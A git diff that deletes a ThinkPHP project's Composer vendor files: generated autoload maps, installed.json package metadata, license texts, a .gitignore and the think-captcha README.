if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
return $file;
}
return false;
}
}
/**
* Scope isolated include.
*
* Prevents access to $this/self from included files.
*/
function includeFile($file)
{
include $file;
}
-21
View File
@@ -1,21 +0,0 @@
Copyright (c) Nils Adermann, Jordi Boggiano
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
-9
View File
@@ -1,9 +0,0 @@
<?php
// autoload_classmap.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);
-13
View File
@@ -1,13 +0,0 @@
<?php
// autoload_files.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'9b552a3cc426e3287cc811caefa3cf53' => $vendorDir . '/topthink/think-helper/src/helper.php',
'1cfd2761b63b0a29ed23657ea394cb2d' => $vendorDir . '/topthink/think-captcha/src/helper.php',
'ddc3cd2a04224f9638c5d0de6a69c7e3' => $vendorDir . '/topthink/think-migration/src/config.php',
'cc56288302d9df745d97c934d6a6e5f0' => $vendorDir . '/topthink/think-queue/src/common.php',
);
-9
View File
@@ -1,9 +0,0 @@
<?php
// autoload_namespaces.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);
-17
View File
@@ -1,17 +0,0 @@
<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'think\\mongo\\' => array($vendorDir . '/topthink/think-mongo/src'),
'think\\migration\\' => array($vendorDir . '/topthink/think-migration/src'),
'think\\helper\\' => array($vendorDir . '/topthink/think-helper/src'),
'think\\composer\\' => array($vendorDir . '/topthink/think-installer/src'),
'think\\captcha\\' => array($vendorDir . '/topthink/think-captcha/src'),
'think\\' => array($baseDir . '/thinkphp/library/think', $vendorDir . '/topthink/think-queue/src', $vendorDir . '/topthink/think-image/src'),
'app\\' => array($baseDir . '/application'),
'Phinx\\' => array($vendorDir . '/topthink/think-migration/phinx/src/Phinx'),
);
-70
View File
@@ -1,70 +0,0 @@
<?php
// autoload_real.php @generated by Composer
class ComposerAutoloaderInit73d5bf89285288576ea0882cc1337bd2
{
private static $loader;
public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}
spl_autoload_register(array('ComposerAutoloaderInit73d5bf89285288576ea0882cc1337bd2', 'loadClassLoader'), true, true);
self::$loader = $loader = new \Composer\Autoload\ClassLoader();
spl_autoload_unregister(array('ComposerAutoloaderInit73d5bf89285288576ea0882cc1337bd2', 'loadClassLoader'));
$useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
if ($useStaticLoader) {
require_once __DIR__ . '/autoload_static.php';
call_user_func(\Composer\Autoload\ComposerStaticInit73d5bf89285288576ea0882cc1337bd2::getInitializer($loader));
} else {
$map = require __DIR__ . '/autoload_namespaces.php';
foreach ($map as $namespace => $path) {
$loader->set($namespace, $path);
}
$map = require __DIR__ . '/autoload_psr4.php';
foreach ($map as $namespace => $path) {
$loader->setPsr4($namespace, $path);
}
$classMap = require __DIR__ . '/autoload_classmap.php';
if ($classMap) {
$loader->addClassMap($classMap);
}
}
$loader->register(true);
if ($useStaticLoader) {
$includeFiles = Composer\Autoload\ComposerStaticInit73d5bf89285288576ea0882cc1337bd2::$files;
} else {
$includeFiles = require __DIR__ . '/autoload_files.php';
}
foreach ($includeFiles as $fileIdentifier => $file) {
composerRequire73d5bf89285288576ea0882cc1337bd2($fileIdentifier, $file);
}
return $loader;
}
}
function composerRequire73d5bf89285288576ea0882cc1337bd2($fileIdentifier, $file)
{
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
require $file;
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
}
}
-81
View File
@@ -1,81 +0,0 @@
<?php
// autoload_static.php @generated by Composer
namespace Composer\Autoload;
class ComposerStaticInit73d5bf89285288576ea0882cc1337bd2
{
public static $files = array (
'9b552a3cc426e3287cc811caefa3cf53' => __DIR__ . '/..' . '/topthink/think-helper/src/helper.php',
'1cfd2761b63b0a29ed23657ea394cb2d' => __DIR__ . '/..' . '/topthink/think-captcha/src/helper.php',
'ddc3cd2a04224f9638c5d0de6a69c7e3' => __DIR__ . '/..' . '/topthink/think-migration/src/config.php',
'cc56288302d9df745d97c934d6a6e5f0' => __DIR__ . '/..' . '/topthink/think-queue/src/common.php',
);
public static $prefixLengthsPsr4 = array (
't' =>
array (
'think\\mongo\\' => 12,
'think\\migration\\' => 16,
'think\\helper\\' => 13,
'think\\composer\\' => 15,
'think\\captcha\\' => 14,
'think\\' => 6,
),
'a' =>
array (
'app\\' => 4,
),
'P' =>
array (
'Phinx\\' => 6,
),
);
public static $prefixDirsPsr4 = array (
'think\\mongo\\' =>
array (
0 => __DIR__ . '/..' . '/topthink/think-mongo/src',
),
'think\\migration\\' =>
array (
0 => __DIR__ . '/..' . '/topthink/think-migration/src',
),
'think\\helper\\' =>
array (
0 => __DIR__ . '/..' . '/topthink/think-helper/src',
),
'think\\composer\\' =>
array (
0 => __DIR__ . '/..' . '/topthink/think-installer/src',
),
'think\\captcha\\' =>
array (
0 => __DIR__ . '/..' . '/topthink/think-captcha/src',
),
'think\\' =>
array (
0 => __DIR__ . '/../..' . '/thinkphp/library/think',
1 => __DIR__ . '/..' . '/topthink/think-queue/src',
2 => __DIR__ . '/..' . '/topthink/think-image/src',
),
'app\\' =>
array (
0 => __DIR__ . '/../..' . '/application',
),
'Phinx\\' =>
array (
0 => __DIR__ . '/..' . '/topthink/think-migration/phinx/src/Phinx',
),
);
public static function getInitializer(ClassLoader $loader)
{
return \Closure::bind(function () use ($loader) {
$loader->prefixLengthsPsr4 = ComposerStaticInit73d5bf89285288576ea0882cc1337bd2::$prefixLengthsPsr4;
$loader->prefixDirsPsr4 = ComposerStaticInit73d5bf89285288576ea0882cc1337bd2::$prefixDirsPsr4;
}, null, ClassLoader::class);
}
}
-340
View File
@@ -1,340 +0,0 @@
[
{
"name": "topthink/think-installer",
"version": "v1.0.12",
"version_normalized": "1.0.12.0",
"source": {
"type": "git",
"url": "https://github.com/top-think/think-installer.git",
"reference": "1be326e68f63de4e95977ed50f46ae75f017556d"
},
"dist": {
"type": "zip",
"url": "https://files.phpcomposer.com/files/top-think/think-installer/1be326e68f63de4e95977ed50f46ae75f017556d.zip",
"reference": "1be326e68f63de4e95977ed50f46ae75f017556d",
"shasum": ""
},
"require": {
"composer-plugin-api": "^1.0"
},
"require-dev": {
"composer/composer": "1.0.*@dev"
},
"time": "2017-05-27T06:58:09+00:00",
"type": "composer-plugin",
"extra": {
"class": "think\\composer\\Plugin"
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"think\\composer\\": "src"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"Apache-2.0"
],
"authors": [
{
"name": "yunwuxin",
"email": "448901948@qq.com"
}
]
},
{
"name": "topthink/framework",
"version": "v5.0.12",
"version_normalized": "5.0.12.0",
"source": {
"type": "git",
"url": "https://github.com/top-think/framework.git",
"reference": "0fb51680e8d62495d27f17a0e6cf889b763a6d3c"
},
"dist": {
"type": "zip",
"url": "https://files.phpcomposer.com/files/top-think/framework/0fb51680e8d62495d27f17a0e6cf889b763a6d3c.zip",
"reference": "0fb51680e8d62495d27f17a0e6cf889b763a6d3c",
"shasum": ""
},
"require": {
"php": ">=5.4.0",
"topthink/think-installer": "~1.0"
},
"require-dev": {
"johnkary/phpunit-speedtrap": "^1.0",
"mikey179/vfsstream": "~1.6",
"phpdocumentor/reflection-docblock": "^2.0",
"phploc/phploc": "2.*",
"phpunit/phpunit": "4.8.*",
"sebastian/phpcpd": "2.*"
},
"time": "2017-11-06T01:19:03+00:00",
"type": "think-framework",
"installation-source": "dist",
"autoload": {
"psr-4": {
"think\\": "library/think"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"Apache-2.0"
],
"authors": [
{
"name": "liu21st",
"email": "liu21st@gmail.com"
}
],
"description": "the new thinkphp framework",
"homepage": "http://thinkphp.cn/",
"keywords": [
"framework",
"orm",
"thinkphp"
]
},
{
"name": "topthink/think-captcha",
"version": "v1.0.7",
"version_normalized": "1.0.7.0",
"source": {
"type": "git",
"url": "https://github.com/top-think/think-captcha.git",
"reference": "0c55455df26a1626a60d0dc35d2d89002b741d44"
},
"dist": {
"type": "zip",
"url": "https://files.phpcomposer.com/files/top-think/think-captcha/0c55455df26a1626a60d0dc35d2d89002b741d44.zip",
"reference": "0c55455df26a1626a60d0dc35d2d89002b741d44",
"shasum": ""
},
"time": "2016-07-06T01:47:11+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"think\\captcha\\": "src/"
},
"files": [
"src/helper.php"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"Apache-2.0"
],
"authors": [
{
"name": "yunwuxin",
"email": "448901948@qq.com"
}
],
"description": "captcha package for thinkphp5"
},
{
"name": "topthink/think-migration",
"version": "v1.1.1",
"version_normalized": "1.1.1.0",
"source": {
"type": "git",
"url": "https://github.com/top-think/think-migration.git",
"reference": "8e489f8d38a39876690c0e00fcf9a54ae92c4d3d"
},
"dist": {
"type": "zip",
"url": "https://files.phpcomposer.com/files/top-think/think-migration/8e489f8d38a39876690c0e00fcf9a54ae92c4d3d.zip",
"reference": "8e489f8d38a39876690c0e00fcf9a54ae92c4d3d",
"shasum": ""
},
"require-dev": {
"topthink/framework": "^5.0"
},
"time": "2017-03-31T06:33:23+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Phinx\\": "phinx/src/Phinx",
"think\\migration\\": "src"
},
"files": [
"src/config.php"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"Apache-2.0"
],
"authors": [
{
"name": "yunwuxin",
"email": "448901948@qq.com"
}
]
},
{
"name": "topthink/think-helper",
"version": "v1.0.6",
"version_normalized": "1.0.6.0",
"source": {
"type": "git",
"url": "https://github.com/top-think/think-helper.git",
"reference": "0c99dc625b0d2d4124e1b6ca15a3ad6f0125963f"
},
"dist": {
"type": "zip",
"url": "https://files.phpcomposer.com/files/top-think/think-helper/0c99dc625b0d2d4124e1b6ca15a3ad6f0125963f.zip",
"reference": "0c99dc625b0d2d4124e1b6ca15a3ad6f0125963f",
"shasum": ""
},
"time": "2017-04-05T07:15:37+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"think\\helper\\": "src"
},
"files": [
"src/helper.php"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"Apache-2.0"
],
"authors": [
{
"name": "yunwuxin",
"email": "448901948@qq.com"
}
],
"description": "The ThinkPHP5 Helper Package"
},
{
"name": "topthink/think-mongo",
"version": "v1.7",
"version_normalized": "1.7.0.0",
"source": {
"type": "git",
"url": "https://github.com/top-think/think-mongo.git",
"reference": "fc552c8fe5798679a52f4f0d7e60763f64aeb155"
},
"dist": {
"type": "zip",
"url": "https://files.phpcomposer.com/files/top-think/think-mongo/fc552c8fe5798679a52f4f0d7e60763f64aeb155.zip",
"reference": "fc552c8fe5798679a52f4f0d7e60763f64aeb155",
"shasum": ""
},
"time": "2017-05-05T07:52:33+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"think\\mongo\\": "src"
},
"files": []
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"Apache-2.0"
],
"authors": [
{
"name": "liu21st",
"email": "liu21st@gmail.com"
}
],
"description": "mongodb driver for thinkphp5"
},
{
"name": "topthink/think-queue",
"version": "v1.1.4",
"version_normalized": "1.1.4.0",
"source": {
"type": "git",
"url": "https://github.com/top-think/think-queue.git",
"reference": "ad709611d516e13d6760234bc98e91faa901cae8"
},
"dist": {
"type": "zip",
"url": "https://files.phpcomposer.com/files/top-think/think-queue/ad709611d516e13d6760234bc98e91faa901cae8.zip",
"reference": "ad709611d516e13d6760234bc98e91faa901cae8",
"shasum": ""
},
"require": {
"topthink/think-helper": ">=1.0.4",
"topthink/think-installer": ">=1.0.10"
},
"time": "2017-06-25T00:49:56+00:00",
"type": "think-extend",
"extra": {
"think-config": {
"queue": "src/config.php"
}
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"think\\": "src"
},
"files": [
"src/common.php"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"Apache-2.0"
],
"authors": [
{
"name": "yunwuxin",
"email": "448901948@qq.com"
}
],
"description": "The ThinkPHP5 Queue Package"
},
{
"name": "topthink/think-image",
"version": "v1.0.7",
"version_normalized": "1.0.7.0",
"source": {
"type": "git",
"url": "https://github.com/top-think/think-image.git",
"reference": "8586cf47f117481c6d415b20f7dedf62e79d5512"
},
"dist": {
"type": "zip",
"url": "https://files.phpcomposer.com/files/top-think/think-image/8586cf47f117481c6d415b20f7dedf62e79d5512.zip",
"reference": "8586cf47f117481c6d415b20f7dedf62e79d5512",
"shasum": ""
},
"require": {
"ext-gd": "*"
},
"require-dev": {
"phpunit/phpunit": "4.8.*",
"topthink/framework": "^5.0"
},
"time": "2016-09-29T06:05:43+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"think\\": "src"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"Apache-2.0"
],
"authors": [
{
"name": "yunwuxin",
"email": "448901948@qq.com"
}
],
"description": "The ThinkPHP5 Image Package"
}
]
-3
View File
@@ -1,3 +0,0 @@
/vendor/
/composer.lock
.idea
-32
View File
@@ -1,32 +0,0 @@
ThinkPHP遵循Apache2开源协议发布,并提供免费使用。
版权所有Copyright © 2006-2016 by ThinkPHP (http://thinkphp.cn)
All rights reserved。
ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。
Apache Licence是著名的非盈利开源组织Apache采用的协议。
该协议和BSD类似,鼓励代码共享和尊重原作者的著作权,
允许代码修改,再作为开源或商业软件发布。需要满足
的条件:
1. 需要给代码的用户一份Apache Licence
2. 如果你修改了代码,需要在被修改的文件中说明;
3. 在延伸的代码中(修改和有源代码衍生的代码中)需要
带有原来代码中的协议,商标,专利声明和其他原来作者规
定需要包含的说明;
4. 如果再发布的产品中包含一个Notice文件,则在Notice文
件中需要带有本协议内容。你可以在Notice中增加自己的
许可,但不可以表现为对Apache Licence构成更改。
具体的协议参考:http://www.apache.org/licenses/LICENSE-2.0
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
-33
View File
@@ -1,33 +0,0 @@
# think-captcha
thinkphp5 验证码类库
## 安装
> composer require topthink/think-captcha
##使用
###模板里输出验证码
~~~
<div>{:captcha_img()}</div>
~~~
或者
~~~
<div><img src="{:captcha_src()}" alt="captcha" /></div>
~~~
> 上面两种的最终效果是一样的
### 控制器里验证
使用TP5的内置验证功能即可
~~~
$this->validate($data,[
'captcha|验证码'=>'required|captcha'
]);
~~~
或者手动验证
~~~
if(!captcha_check($captcha)){
//验证失败
};
~~~
Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

Some files were not shown because too many files have changed in this diff Show More